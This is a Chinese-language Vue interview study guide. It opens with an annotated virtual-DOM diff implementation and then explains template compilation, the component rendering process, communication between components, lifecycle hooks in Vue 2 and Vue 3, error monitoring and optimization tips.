function isUndef (s: any): boolean { return s === undefined; }
function isDef<A> (s: A): s is NonUndefined<A> { return s !== undefined; }
type VNodeQueue = VNode[];
const emptyNode = vnode('', {}, [], undefined, undefined);
function sameVnode (vnode1: VNode, vnode2: VNode): boolean {
// key 和 sel 都相等
// undefined === undefined // true
return vnode1.key === vnode2.key && vnode1.sel === vnode2.sel;
}
function isVnode (vnode: any): vnode is VNode {
return vnode.sel !== undefined;
}
type KeyToIndexMap = {[key: string]: number};
type ArraysOf<T> = {
[K in keyof T]: Array<T[K]>;
}
type ModuleHooks = ArraysOf<Module>;
function createKeyToOldIdx (children: VNode[], beginIdx: number, endIdx: number): KeyToIndexMap {
const map: KeyToIndexMap = {};
for (let i = beginIdx; i <= endIdx; ++i) {
const key = children[i]?.key;
if (key !== undefined) {
map[key] = i;
}
}
return map;
}
const hooks: Array<keyof Module> = ['create', 'update', 'remove', 'destroy', 'pre', 'post'];
export { h } from './h';
export { thunk } from './thunk';
export function init (modules: Array<Partial<Module>>, domApi?: DOMAPI) {
let i: number, j: number, cbs = ({} as ModuleHooks);
const api: DOMAPI = domApi !== undefined ? domApi : htmlDomApi;
for (i = 0; i < hooks.length; ++i) {
cbs[hooks[i]] = [];
for (j = 0; j < modules.length; ++j) {
const hook = modules[j][hooks[i]];
if (hook !== undefined) {
(cbs[hooks[i]] as any[]).push(hook);
}
}
}
function emptyNodeAt (elm: Element) {
const id = elm.id ? '#' + elm.id : '';
const c = elm.className ? '.' + elm.className.split(' ').join('.') : '';
return vnode(api.tagName(elm).toLowerCase() + id + c, {}, [], undefined, elm);
}
function createRmCb (childElm: Node, listeners: number) {
return function rmCb () {
if (--listeners === 0) {
const parent = api.parentNode(childElm);
api.removeChild(parent, childElm);
}
};
}
function createElm (vnode: VNode, insertedVnodeQueue: VNodeQueue): Node {
let i: any, data = vnode.data;
if (data !== undefined) {
const init = data.hook?.init;
if (isDef(init)) {
init(vnode);
data = vnode.data;
}
}
let children = vnode.children, sel = vnode.sel;
if (sel === '!') {
if (isUndef(vnode.text)) {
vnode.text = '';
}
vnode.elm = api.createComment(vnode.text!);
} else if (sel !== undefined) {
// Parse selector
const hashIdx = sel.indexOf('#');
const dotIdx = sel.indexOf('.', hashIdx);
const hash = hashIdx > 0 ? hashIdx : sel.length;
const dot = dotIdx > 0 ? dotIdx : sel.length;
const tag = hashIdx !== -1 || dotIdx !== -1 ? sel.slice(0, Math.min(hash, dot)) : sel;
const elm = vnode.elm = isDef(data) && isDef(i = data.ns)
? api.createElementNS(i, tag)
: api.createElement(tag);
if (hash < dot) elm.setAttribute('id', sel.slice(hash + 1, dot));
if (dotIdx > 0) elm.setAttribute('class', sel.slice(dot + 1).replace(/\./g, ' '));
for (i = 0; i < cbs.create.length; ++i) cbs.create[i](emptyNode, vnode);
if (is.array(children)) {
for (i = 0; i < children.length; ++i) {
const ch = children[i];
if (ch != null) {
api.appendChild(elm, createElm(ch as VNode, insertedVnodeQueue));
}
}
} else if (is.primitive(vnode.text)) {
api.appendChild(elm, api.createTextNode(vnode.text));
}
const hook = vnode.data!.hook;
if (isDef(hook)) {
hook.create?.(emptyNode, vnode);
if (hook.insert) {
insertedVnodeQueue.push(vnode);
}
}
} else {
vnode.elm = api.createTextNode(vnode.text!);
}
return vnode.elm;
}
function addVnodes (
parentElm: Node,
before: Node | null,
vnodes: VNode[],
startIdx: number,
endIdx: number,
insertedVnodeQueue: VNodeQueue
) {
for (; startIdx <= endIdx; ++startIdx) {
const ch = vnodes[startIdx];
if (ch != null) {
api.insertBefore(parentElm, createElm(ch, insertedVnodeQueue), before);
}
}
}
function invokeDestroyHook (vnode: VNode) {
const data = vnode.data;
if (data !== undefined) {
data?.hook?.destroy?.(vnode);
for (let i = 0; i < cbs.destroy.length; ++i) cbs.destroy[i](vnode);
if (vnode.children !== undefined) {
for (let j = 0; j < vnode.children.length; ++j) {
const child = vnode.children[j];
if (child != null && typeof child !== "string") {
invokeDestroyHook(child);
}
}
}
}
}
function removeVnodes (parentElm: Node,
vnodes: VNode[],
startIdx: number,
endIdx: number): void {
for (; startIdx <= endIdx; ++startIdx) {
let listeners: number, rm: () => void, ch = vnodes[startIdx];
if (ch != null) {
if (isDef(ch.sel)) {
invokeDestroyHook(ch); // hook 操作
// 移除 DOM 元素
listeners = cbs.remove.length + 1;
rm = createRmCb(ch.elm!, listeners);
for (let i = 0; i < cbs.remove.length; ++i) cbs.remove[i](ch, rm);
const removeHook = ch?.data?.hook?.remove;
if (isDef(removeHook)) {
removeHook(ch, rm);
} else {
rm();
}
} else { // Text node
api.removeChild(parentElm, ch.elm!);
}
}
}
}
// diff算法核心
function updateChildren (parentElm: Node,
oldCh: VNode[],
newCh: VNode[],
insertedVnodeQueue: VNodeQueue) {
let oldStartIdx = 0, newStartIdx = 0;
let oldEndIdx = oldCh.length - 1;
let oldStartVnode = oldCh[0];
let oldEndVnode = oldCh[oldEndIdx];
let newEndIdx = newCh.length - 1;
let newStartVnode = newCh[0];
let newEndVnode = newCh[newEndIdx];
let oldKeyToIdx: KeyToIndexMap | undefined;
let idxInOld: number;
let elmToMove: VNode;
let before: any;
while (oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx) {
if (oldStartVnode == null) {
oldStartVnode = oldCh[++oldStartIdx]; // Vnode might have been moved left
} else if (oldEndVnode == null) {
oldEndVnode = oldCh[--oldEndIdx];
} else if (newStartVnode == null) {
newStartVnode = newCh[++newStartIdx];
} else if (newEndVnode == null) {
newEndVnode = newCh[--newEndIdx];
// 开始和开始对比--头头
} else if (sameVnode(oldStartVnode, newStartVnode)) {
patchVnode(oldStartVnode, newStartVnode, insertedVnodeQueue);
oldStartVnode = oldCh[++oldStartIdx];
newStartVnode = newCh[++newStartIdx];
// 结束和结束对比--尾尾
} else if (sameVnode(oldEndVnode, newEndVnode)) {
patchVnode(oldEndVnode, newEndVnode, insertedVnodeQueue);
oldEndVnode = oldCh[--oldEndIdx];
newEndVnode = newCh[--newEndIdx];
// 开始和结束对比--头尾
} else if (sameVnode(oldStartVnode, newEndVnode)) { // Vnode moved right
patchVnode(oldStartVnode, newEndVnode, insertedVnodeQueue);
api.insertBefore(parentElm, oldStartVnode.elm!, api.nextSibling(oldEndVnode.elm!));
oldStartVnode = oldCh[++oldStartIdx];
newEndVnode = newCh[--newEndIdx];
// 结束和开始对比--尾头
} else if (sameVnode(oldEndVnode, newStartVnode)) { // Vnode moved left
patchVnode(oldEndVnode, newStartVnode, insertedVnodeQueue);
api.insertBefore(parentElm, oldEndVnode.elm!, oldStartVnode.elm!);
oldEndVnode = oldCh[--oldEndIdx];
newStartVnode = newCh[++newStartIdx];
// 以上四个都未命中
} else {
if (oldKeyToIdx === undefined) {
oldKeyToIdx = createKeyToOldIdx(oldCh, oldStartIdx, oldEndIdx);
}
// 拿新节点 key ,能否对应上 oldCh 中的某个节点的 key
idxInOld = oldKeyToIdx[newStartVnode.key as string];
// 没对应上
if (isUndef(idxInOld)) { // New element
api.insertBefore(parentElm, createElm(newStartVnode, insertedVnodeQueue), oldStartVnode.elm!);
newStartVnode = newCh[++newStartIdx];
// 对应上了
} else {
// 对应上 key 的节点
elmToMove = oldCh[idxInOld];
// sel 是否相等(sameVnode 的条件)
if (elmToMove.sel !== newStartVnode.sel) {
// New element
api.insertBefore(parentElm, createElm(newStartVnode, insertedVnodeQueue), oldStartVnode.elm!);
// sel 相等,key 相等
} else {
patchVnode(elmToMove, newStartVnode, insertedVnodeQueue);
oldCh[idxInOld] = undefined as any;
api.insertBefore(parentElm, elmToMove.elm!, oldStartVnode.elm!);
}
newStartVnode = newCh[++newStartIdx];
}
}
}
if (oldStartIdx <= oldEndIdx || newStartIdx <= newEndIdx) {
if (oldStartIdx > oldEndIdx) {
before = newCh[newEndIdx + 1] == null ? null : newCh[newEndIdx + 1].elm;
addVnodes(parentElm, before, newCh, newStartIdx, newEndIdx, insertedVnodeQueue);
} else {
removeVnodes(parentElm, oldCh, oldStartIdx, oldEndIdx);
}
}
}
function patchVnode (oldVnode: VNode, vnode: VNode, insertedVnodeQueue: VNodeQueue) {
// 执行 prepatch hook
const hook = vnode.data?.hook;
hook?.prepatch?.(oldVnode, vnode);
// 设置 vnode.elem
const elm = vnode.elm = oldVnode.elm!;
// 旧 children
let oldCh = oldVnode.children as VNode[];
// 新 children
let ch = vnode.children as VNode[];
if (oldVnode === vnode) return;
// hook 相关
if (vnode.data !== undefined) {
for (let i = 0; i < cbs.update.length; ++i) cbs.update[i](oldVnode, vnode);
vnode.data.hook?.update?.(oldVnode, vnode);
}
// vnode.text === undefined (vnode.children 一般有值)
if (isUndef(vnode.text)) {
// 新旧都有 children
if (isDef(oldCh) && isDef(ch)) {
if (oldCh !== ch) updateChildren(elm, oldCh, ch, insertedVnodeQueue);
// 新 children 有,旧 children 无 (旧 text 有)
} else if (isDef(ch)) {
// 清空 text
if (isDef(oldVnode.text)) api.setTextContent(elm, '');
// 添加 children
addVnodes(elm, null, ch, 0, ch.length - 1, insertedVnodeQueue);
// 旧 child 有,新 child 无
} else if (isDef(oldCh)) {
// 移除 children
removeVnodes(elm, oldCh, 0, oldCh.length - 1);
// 旧 text 有
} else if (isDef(oldVnode.text)) {
api.setTextContent(elm, '');
}
// else : vnode.text !== undefined (vnode.children 无值)
} else if (oldVnode.text !== vnode.text) {
// 移除旧 children
if (isDef(oldCh)) {
removeVnodes(elm, oldCh, 0, oldCh.length - 1);
}
// 设置新 text
api.setTextContent(elm, vnode.text!);
}
hook?.postpatch?.(oldVnode, vnode);
}
return function patch (oldVnode: VNode | Element, vnode: VNode): VNode {
let i: number, elm: Node, parent: Node;
const insertedVnodeQueue: VNodeQueue = [];
// 执行 pre hook
for (i = 0; i < cbs.pre.length; ++i) cbs.pre[i]();
// 第一个参数不是 vnode
if (!isVnode(oldVnode)) {
// 创建一个空的 vnode ,关联到这个 DOM 元素
oldVnode = emptyNodeAt(oldVnode);
}
// 相同的 vnode(key 和 sel 都相等)
if (sameVnode(oldVnode, vnode)) {
// vnode 对比
patchVnode(oldVnode, vnode, insertedVnodeQueue);
// 不同的 vnode ,直接删掉重建
} else {
elm = oldVnode.elm!;
parent = api.parentNode(elm);
// 重建
createElm(vnode, insertedVnodeQueue);
if (parent !== null) {
api.insertBefore(parent, vnode.elm!, api.nextSibling(elm));
removeVnodes(parent, [oldVnode], 0, 0);
}
}
for (i = 0; i < insertedVnodeQueue.length; ++i) {
insertedVnodeQueue[i].data!.hook!.insert!(insertedVnodeQueue[i]);
}
for (i = 0; i < cbs.post.length; ++i) cbs.post[i]();
return vnode;
};
}
# 模板编译
前置知识
- 模板是
vue
开发中最常用的,即与使用相关联的原理 - 它不是
HTML
,有指令、插值、JS表达式,能实现循环、判断,因此模板一定转为JS
代码,即模板编译 - 面试不会直接问,但会通过
组件渲染和更新过程
考察
模板编译
vue template compiler
将模板编译为render
函数- 执行
render
函数,生成vnode
- 基于
vnode
在执行patch
和diff
- 使用
webpack vue-loader
插件,会在开发环境下编译模板
with语法
- 改变
{}
内自由变量的查找规则,当做obj
属性来查找 - 如果找不到匹配的
obj
属性,就会报错 with
要慎用,它打破了作用域规则,易读性变差
vue组件中使用render代替template
// 执行 node index.js
const compiler = require('vue-template-compiler')
// 插值
const template = `<p>{message}</p>`
with(this){return _c('p', [_v(_s(message))])}
// this就是vm的实例, message等变量会从vm上读取,触发getter
// _c => createElement 也就是h函数 => 返回vnode
// _v => createTextVNode
// _s => toString
// 也就是这样 with(this){return createElement('p',[createTextVNode(toString(message))])}
// h -> vnode
// createElement -> vnode
// 表达式
const template = `<p>{{flag ? message : 'no message found'}}</p>`
// with(this){return _c('p',[_v(_s(flag ? message : 'no message found'))])}
// 属性和动态属性
const template = `
<div id="div1" class="container">
<img :src="imgUrl"/>
</div>
`
with(this){return _c('div',
{staticClass:"container",attrs:{"id":"div1"}},
[
_c('img',{attrs:{"src":imgUrl}})])}
// 条件
const template = `
<div>
<p v-if="flag === 'a'">A</p>
<p v-else>B</p>
</div>
`
with(this){return _c('div',[(flag === 'a')?_c('p',[_v("A")]):_c('p',[_v("B")])])}
// 循环
const template = `
<ul>
<li v-for="item in list" :key="item.id">{{item.title}}</li>
</ul>
`
with(this){return _c('ul',_l((list),function(item){return _c('li',{key:item.id},[_v(_s(item.title))])}),0)}
// 事件
const template = `
<button @click="clickHandler">submit</button>
`
with(this){return _c('button',{on:{"click":clickHandler}},[_v("submit")])}
// v-model
const template = `<input type="text" v-model="name">`
// 主要看 input 事件
with(this){return _c('input',{directives:[{name:"model",rawName:"v-model",value:(name),expression:"name"}],attrs:{"type":"text"},domProps:{"value":(name)},on:{"input":function($event){if($event.target.composing)return;name=$event.target.value}}})}
// render 函数
// 返回 vnode
// patch
// 编译
const res = compiler.compile(template)
console.log(res.render)
// ---------------分割线--------------
// 从 vue 源码中找到缩写函数的含义
function installRenderHelpers (target) {
target._o = markOnce;
target._n = toNumber;
target._s = toString;
target._l = renderList;
target._t = renderSlot;
target._q = looseEqual;
target._i = looseIndexOf;
target._m = renderStatic;
target._f = resolveFilter;
target._k = checkKeyCodes;
target._b = bindObjectProps;
target._v = createTextVNode;
target._e = createEmptyVNode;
target._u = resolveScopedSlots;
target._g = bindObjectListeners;
target._d = bindDynamicKeys;
target._p = prependModifier;
}
# Vue组件渲染过程
前言
- 一个组件渲染到页面,修改
data
触发更新(数据驱动视图) - 其背后原理是什么,需要掌握哪些点
- 考察对流程了解的全面程度
回顾三大核心知识点
- 响应式:监听
data
属性getter
、setter
(包括数组) - 模板编译:模板到
render
函数,再到vnode
- vdom:两种用法
patch(elem,vnode)
首次渲染vnode
到container
上patch(vnode、newVnode)
新的vnode
去更新旧的vnode
- 搞定这三点核心原理,
vue
原理不是问题
组件渲染更新过程
- 1. 初次渲染过程
- 解析模板为
render
函数(或在开发环境已经完成vue-loader
模板编译) - 触发响应式,监听
data
属性getter
、setter
- 执行
render
函数(执行render
函数过程中,会获取data
的属性触发getter
),生成vnode
,在执行patch(elem,vnode)
elem
组件对应的dom
节点const template = <p>{message}</p>
- 编译为
render
函数with(this){return _c('p', [_v(_s(message))])}
this
就是vm
的实例,message
等变量会从vm
上读取,触发getter
进行依赖收集
export default { data() { return { message: 'hello' // render函数执行过程中会获取message变量值,触发getter } } }
- 解析模板为
- 2. 更新过程
- 修改
data
,触发setter
(此前在getter
中已被监听) - 重新执行
render
函数,生成newVnode
- 在调用
patch(oldVnode, newVnode)
算出最小差异,进行更新
- 修改
- 3. 完成流程图
异步渲染
- 汇总
data
的修改,一次更新视图 - 减少
DOM
操作次数,提高性能
methods: {
addItem() {
this.list.push(`${Date.now()}`)
this.list.push(`${Date.now()}`)
this.list.push(`${Date.now()}`)
// 1.页面渲染是异步的,$nextTick待渲染完在回调
// 2.页面渲染时会将data的修改做整合,多次data修改也只会渲染一次
this.$nextTick(()=>{
const ulElem = this.$refs.ul
console.log(ulElem.childNotes.length)
})
}
}
总结
- 渲染和响应式的关系
- 渲染和模板编译的关系
- 渲染和
vdom
的关系
# Vue组件之间通信方式有哪些
Vue 组件间通信是面试常考的知识点之一,这题有点类似于开放题,你回答出越多方法当然越加分,表明你对 Vue 掌握的越熟练。Vue 组件间通信只要指以下 3 类通信:
父子组件通信
、隔代组件通信
、兄弟组件通信
,下面我们分别介绍每种通信方式且会说明此种方法可适用于哪类组件间通信
组件传参的各种方式
组件通信常用方式有以下几种
props / $emit
适用 父子组件通信- 父组件向子组件传递数据是通过
prop
传递的,子组件传递数据给父组件是通过$emit
触发事件来做到的
- 父组件向子组件传递数据是通过
ref
与$parent / $children(vue3废弃)
适用 父子组件通信ref
:如果在普通的DOM
元素上使用,引用指向的就是DOM
元素;如果用在子组件上,引用就指向组件实例$parent / $children
:访问父组件的属性或方法 / 访问子组件的属性或方法
EventBus ($emit / $on)
适用于 父子、隔代、兄弟组件通信- 这种方法通过一个空的
Vue
实例作为中央事件总线(事件中心),用它来触发事件和监听事件,从而实现任何组件间的通信,包括父子、隔代、兄弟组件
- 这种方法通过一个空的
$attrs / $listeners(vue3废弃)
适用于 隔代组件通信$attrs
:包含了父作用域中不被prop
所识别 (且获取) 的特性绑定 (class
和style
除外 )。当一个组件没有声明任何prop
时,这里会包含所有父作用域的绑定 (class
和style
除外 ),并且可以通过v-bind="$attrs"
传入内部组件。通常配合inheritAttrs
选项一起使用,多余的属性不会被解析到标签上$listeners
:包含了父作用域中的 (不含.native
修饰器的)v-on
事件监听器。它可以通过v-on="$listeners"
传入内部组件
provide / inject
适用于 隔代组件通信- 祖先组件中通过
provider
来提供变量,然后在子孙组件中通过inject
来注入变量。provide / inject
API 主要解决了跨级组件间的通信问题,不过它的使用场景,主要是子组件获取上级组件的状态,跨级组件间建立了一种主动提供与依赖注入的关系
- 祖先组件中通过
$root
适用于 隔代组件通信 访问根组件中的属性或方法,是根组件,不是父组件。$root
只对根组件有用Vuex
适用于 父子、隔代、兄弟组件通信Vuex
是一个专为Vue.js
应用程序开发的状态管理模式。每一个Vuex
应用的核心就是store
(仓库)。“store” 基本上就是一个容器,它包含着你的应用中大部分的状态 (state
)Vuex
的状态存储是响应式的。当Vue
组件从store
中读取状态的时候,若store
中的状态发生变化,那么相应的组件也会相应地得到高效更新。- 改变
store
中的状态的唯一途径就是显式地提交 (commit
)mutation
。这样使得我们可以方便地跟踪每一个状态的变化。
根据组件之间关系讨论组件通信最为清晰有效
- 父子组件:
props
/$emit
/$parent
/ref
- 兄弟组件:
$parent
/eventbus
/vuex
- 跨层级关系:
eventbus
/vuex
/provide+inject
/$attrs + $listeners
/$root
# Vue的生命周期方法有哪些
Vue
实例有一个完整的生命周期,也就是从开始创建
、初始化数据
、编译模版
、挂载Dom -> 渲染
、更新 -> 渲染
、卸载
等一系列过程,我们称这是Vue
的生命周期Vue
生命周期总共分为8个阶段创建前/后
,载入前/后
,更新前/后
,销毁前/后
beforeCreate
=>created
=>beforeMount
=>Mounted
=>beforeUpdate
=>updated
=>beforeDestroy
=>destroyed
。keep-alive
下:activated
deactivated
生命周期vue2 | 生命周期vue3 | 描述 |
---|---|---|
beforeCreate | beforeCreate | 在实例初始化之后,数据观测(data observer ) 之前被调用。 |
created | created | 实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer ),属性和方法的运算, watch/event 事件回调。这里没有$el |
beforeMount | beforeMount | 在挂载开始之前被调用:相关的 render 函数首次被调用 |
mounted | mounted | el 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子 |
beforeUpdate | beforeUpdate | 组件数据更新之前调用,发生在虚拟 DOM 打补丁之前 |
updated | updated | 由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子 |
beforeDestroy | beforeUnmount | 实例销毁之前调用。在这一步,实例仍然完全可用 |
destroyed | unmounted | 实例销毁后调用。调用后, Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。 |
其他几个生命周期
生命周期vue2 | 生命周期vue3 | 描述 |
---|---|---|
activated | activated | keep-alive 专属,组件被激活时调用 |
deactivated | deactivated | keep-alive 专属,组件被销毁时调用 |
errorCaptured | errorCaptured | 捕获一个来自子孙组件的错误时被调用 |
- | renderTracked | 调试钩子,响应式依赖被收集时调用 |
- | renderTriggered | 调试钩子,响应式依赖被触发时调用 |
- | serverPrefetch | ssr only ,组件实例在服务器上被渲染前调用 |
- 要掌握每个生命周期内部可以做什么事
beforeCreate
初始化vue
实例,进行数据观测。执行时组件实例还未创建,通常用于插件开发中执行一些初始化任务created
组件初始化完毕,可以访问各种数据,获取接口数据等beforeMount
此阶段vm.el
虽已完成DOM
初始化,但并未挂载在el
选项上mounted
实例已经挂载完成,可以进行一些DOM
操作beforeUpdate
更新前,可用于获取更新前各种状态。此时view
层还未更新,可用于获取更新前各种状态。可以在这个钩子中进一步地更改状态,这不会触发附加的重渲染过程。updated
完成view
层的更新,更新后,所有状态已是最新。可以执行依赖于DOM
的操作。然而在大多数情况下,你应该避免在此期间更改状态,因为这可能会导致更新无限循环。 该钩子在服务器端渲染期间不被调用。destroyed
可以执行一些优化操作,清空定时器,解除绑定事件- vue3
beforeunmount
:实例被销毁前调用,可用于一些定时器或订阅的取消 - vue3
unmounted
:销毁一个实例。可清理它与其它实例的连接,解绑它的全部指令及事件监听器
<div id="app">{{name}}</div>
<script>
const vm = new Vue({
data(){
return {name:'poetries'}
},
el: '#app',
beforeCreate(){
// 数据观测(data observer) 和 event/watcher 事件配置之前被调用。
console.log('beforeCreate');
},
created(){
// 属性和方法的运算, watch/event 事件回调。这里没有$el
console.log('created')
},
beforeMount(){
// 相关的 render 函数首次被调用。
console.log('beforeMount')
},
mounted(){
// 被新创建的 vm.$el 替换
console.log('mounted')
},
beforeUpdate(){
// 数据更新时调用,发生在虚拟 DOM 重新渲染和打补丁之前。
console.log('beforeUpdate')
},
updated(){
// 由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。
console.log('updated')
},
beforeDestroy(){
// 实例销毁之前调用 实例仍然完全可用
console.log('beforeDestroy')
},
destroyed(){
// 所有东西都会解绑定,所有的事件监听器会被移除
console.log('destroyed')
}
});
setTimeout(() => {
vm.name = 'poetry';
setTimeout(() => {
vm.$destroy()
}, 1000);
}, 1000);
</script>
- 组合式API生命周期钩子
你可以通过在生命周期钩子前面加上 “on
” 来访问组件的生命周期钩子。
下表包含如何在 setup()
内部调用生命周期钩子:
选项式 API | Hook inside setup |
---|---|
beforeCreate | 不需要* |
created | 不需要* |
beforeMount | onBeforeMount |
mounted | onMounted |
beforeUpdate | onBeforeUpdate |
updated | onUpdated |
beforeUnmount | onBeforeUnmount |
unmounted | onUnmounted |
errorCaptured | onErrorCaptured |
renderTracked | onRenderTracked |
renderTriggered | onRenderTriggered |
因为
setup
是围绕beforeCreate
和created
生命周期钩子运行的,所以不需要显式地定义它们。换句话说,在这些钩子中编写的任何代码都应该直接在setup
函数中编写
export default {
setup() {
// mounted
onMounted(() => {
console.log('Component is mounted!')
})
}
}
setup
和created
谁先执行?
beforeCreate
:组件被创建出来,组件的methods
和data
还没初始化好setup
:在beforeCreate
和created
之前执行created
:组件被创建出来,组件的methods
和data
已经初始化好了
由于在执行
setup
的时候,created
还没有创建好,所以在setup
函数内我们是无法使用data
和methods
的。所以vue
为了让我们避免错误的使用,直接将setup
函数内的this
执行指向undefined
import { ref } from "vue"
export default {
// setup函数是组合api的入口函数,注意在组合api中定义的变量或者方法,要在template响应式需要return{}出去
setup(){
let count = ref(1)
function myFn(){
count.value +=1
}
return {count,myFn}
},
}
- 其他问题
- 什么是vue生命周期? Vue 实例从创建到销毁的过程,就是生命周期。从开始创建、初始化数据、编译模板、挂载Dom→渲染、更新→渲染、销毁等一系列过程,称之为
Vue
的生命周期。 - vue生命周期的作用是什么? 它的生命周期中有多个事件钩子,让我们在控制整个Vue实例的过程时更容易形成好的逻辑。
- vue生命周期总共有几个阶段? 它可以总共分为
8
个阶段:创建前/后、载入前/后、更新前/后、销毁前/销毁后。 - 第一次页面加载会触发哪几个钩子? 会触发下面这几个
beforeCreate
、created
、beforeMount
、mounted
。 - 你的接口请求一般放在哪个生命周期中? 接口请求一般放在
mounted
中,但需要注意的是服务端渲染时不支持mounted
,需要放到created
中 - DOM 渲染在哪个周期中就已经完成? 在
mounted
中,- 注意
mounted
不会承诺所有的子组件也都一起被挂载。如果你希望等到整个视图都渲染完毕,可以用vm.$nextTick
替换掉mounted
mounted: function () { this.$nextTick(function () { // Code that will run only after the // entire view has been rendered }) }
- 注意
# 如何统一监听Vue组件报错
- window.onerror
- 全局监听所有
JS
错误,包括异步错误 - 但是它是
JS
级别的,识别不了Vue
组件信息,Vue
内部的错误还是用Vue
来监听 - 捕捉一些
Vue
监听不到的错误
- 全局监听所有
- errorCaptured生命周期
- 监听所有下级组件的错误
- 返回
false
会阻止向上传播到window.onerror
- errorHandler配置
Vue
全局错误监听,所有组件错误都会汇总到这里- 但
errorCaptured
返回false
,不会传播到这里 window.onerror
和errorHandler
互斥,window.onerror
不会在被触发,这里都是全局错误监听了
- 异步错误
- 异步回调里的错误,
errorHandler
监听不到 - 需要使用
window.onerror
- 异步回调里的错误,
- 总结
- 实际工作中,三者结合使用
promise
(promise
没有被catch
的报错,使用onunhandledrejection
监听)和setTimeout
异步,vue
里面监听不了
window.addEventListener("unhandledrejection", event => { // 捕获 Promise 没有 catch 的错误 console.info('unhandledrejection----', event) }) Promise.reject('错误信息') // .catch(e => console.info(e)) // catch 住了,就不会被 unhandledrejection 捕获
errorCaptured
监听一些重要的、有风险组件的错误window.onerror
和errorCaptured
候补全局监听
// main.js
const app = createApp(App)
// 所有组件错误都会汇总到这里
// window.onerror和errorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
// 阻止向window.onerror传播
app.config.errorHandler = (error, vm, info) => {
console.info('errorHandler----', error, vm, info)
}
// 在app.vue最上层中监控全局组件
export default {
mounted() {
/**
* msg:错误的信息
* source:哪个文件
* line:行
* column:列
* error:错误的对象
*/
// 可以监听一切js的报错, try...catch 捕获的 error ,无法被 window.onerror 监听到
window.onerror = function (msg, source, line, column, error) {
console.info('window.onerror----', msg, source, line, column, error)
}
// 用addEventListener跟window.onerror效果一样,参数不一样
// window.addEventListener('error', event => {
// console.info('window error', event)
// })
},
errorCaptured: (errInfo, vm, info) => {
console.info('errorCaptured----', errInfo, vm, info)
// 返回false会阻止向上传播到window.onerror
// 返回false会阻止传播到errorHandler
// return false
},
}
// ErrorDemo.vue
export default {
name: 'ErrorDemo',
data() {
return {
num: 100
}
},
methods: {
clickHandler() {
try {
this.num() // 报错
} catch (ex) {
console.error('catch.....', ex)
// try...catch 捕获的 error ,无法被 window.onerror 监听到
}
this.num() // 报错
}
},
mounted() {
// 被errorCaptured捕获
// throw new Error('mounted 报错')
// 异步报错,errorHandler、errorCaptured监听不到,vue对异步报错监听不了,需要使用window.onerror来做
// setTimeout(() => {
// throw new Error('setTimeout 报错')
// }, 1000)
},
}
# 在实际工作中,你对Vue做过哪些优化
- v-if和v-show
v-if
彻底销毁组件v-show
使用dispaly
切换block/none
- 实际工作中大部分情况下使用
v-if
就好,不要过渡优化
- v-for使用key
key
不要使用index
- 使用computed缓存
- keep-alive缓存组件
- 频繁切换的组件
tabs
- 不要乱用,缓存会占用更多的内存
- 频繁切换的组件
- 异步组件
- 针对体积较大的组件,如编辑器、复杂表格、复杂表单
- 拆包,需要时异步加载,不需要时不加载
- 减少主包体积,首页会加载更快
- 演示
<!-- index.vue --> <template> <Child></Child> </template> <script> import { defineAsyncComponent } from 'vue' export default { name: 'AsyncComponent', components: { // child体积大 异步加载才有意义 // defineAsyncComponent vue3的写法 Child: defineAsyncComponent(() => import(/* webpackChunkName: "async-child" */ './Child.vue')) } } <!-- child.vue --> <template> <p>async component child</p> </template> <script> export default { name: 'Child', } </script>
- 路由懒加载
- 项目比较大,拆分路由,保证首页先加载
- 演示
const routes = [ { path: '/', name: 'Home', component: Home // 直接加载 }, { path: '/about', name: 'About', // route level code-splitting // this generates a separate chunk (about.[hash].js) for this route // which is lazy-loaded when the route is visited. // 路由懒加载 component: () => import(/* webpackChunkName: "about" */ '../views/About.vue') } ]
- 服务端SSR
- 可使用
Nuxt.js
- 按需优化,使用
SSR
成本比较高
- 可使用
- 实际工作中你遇到积累的业务的优化经验也可以说
连环问:你在使用Vue过程中遇到过哪些坑
- 内存泄露
- 全局变量、全局事件、全局定时器没有销毁
- 自定义事件没有销毁
- Vue2响应式的缺陷(vue3不在有)
data
后续新增属性用Vue.set
data
删除属性用Vue.delete
Vue2
并不支持数组下标的响应式。也就是说Vue2
检测不到通过下标更改数组的值arr[index] = value
- 路由切换时scroll会重新回到顶部
- 这是
SPA
应用的通病,不仅仅是vue
- 如,列表页滚动到第二屏,点击详情页,再返回列表页,此时列表页组件会重新渲染回到了第一页
- 解决方案
- 在列表页缓存翻页过的数据和
scrollTop
的值 - 当再次返回列表页时,渲染列表组件,执行
scrollTo(xx)
- 终极方案:
MPA
(多页面) +App WebView
(可以打开多个页面不会销毁之前的)
- 在列表页缓存翻页过的数据和
- 这是
- 日常遇到问题记录总结,下次面试就能用到
# 5 Vue3
# vue3 对 vue2 有什么优势
- 性能更好(编译优化、使用
proxy
等) - 体积更小
- 更好的
TS
支持 - 更好的代码组织
- 更好的逻辑抽离
- 更多新功能
# vue3 和 vue2 的生命周期有什么区别
Options API
生命周期
beforeDestroy
改为beforeUnmount
destroyed
改为umounted
- 其他沿用
vue2
生命周期
Composition API
生命周期
import { onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted } from 'vue'
export default {
name: 'LifeCycles',
props: {
msg: String
},
// setup等于 beforeCreate 和 created
setup() {
console.log('setup')
onBeforeMount(() => {
console.log('onBeforeMount')
})
onMounted(() => {
console.log('onMounted')
})
onBeforeUpdate(() => {
console.log('onBeforeUpdate')
})
onUpdated(() => {
console.log('onUpdated')
})
onBeforeUnmount(() => {
console.log('onBeforeUnmount')
})
onUnmounted(() => {
console.log('onUnmounted')
})
},
// 兼容vue2生命周期 options API和composition API生命周期二选一
beforeCreate() {
console.log('beforeCreate')
},
created() {
console.log('created')
},
beforeMount() {
console.log('beforeMount')
},
mounted() {
console.log('mounted')
},
beforeUpdate() {
console.log('beforeUpdate')
},
updated() {
console.log('updated')
},
// beforeDestroy 改名
beforeUnmount() {
console.log('beforeUnmount')
},
// destroyed 改名
unmounted() {
console.log('unmounted')
}
}
# 如何理解Composition API和Options API
composition API对比Option API
- Composition API带来了什么
- 更好的代码组织
- 更好的逻辑复用
- 更好的类型推导
- Composition API和Options API如何选择
- 不建议共用,会引起混乱
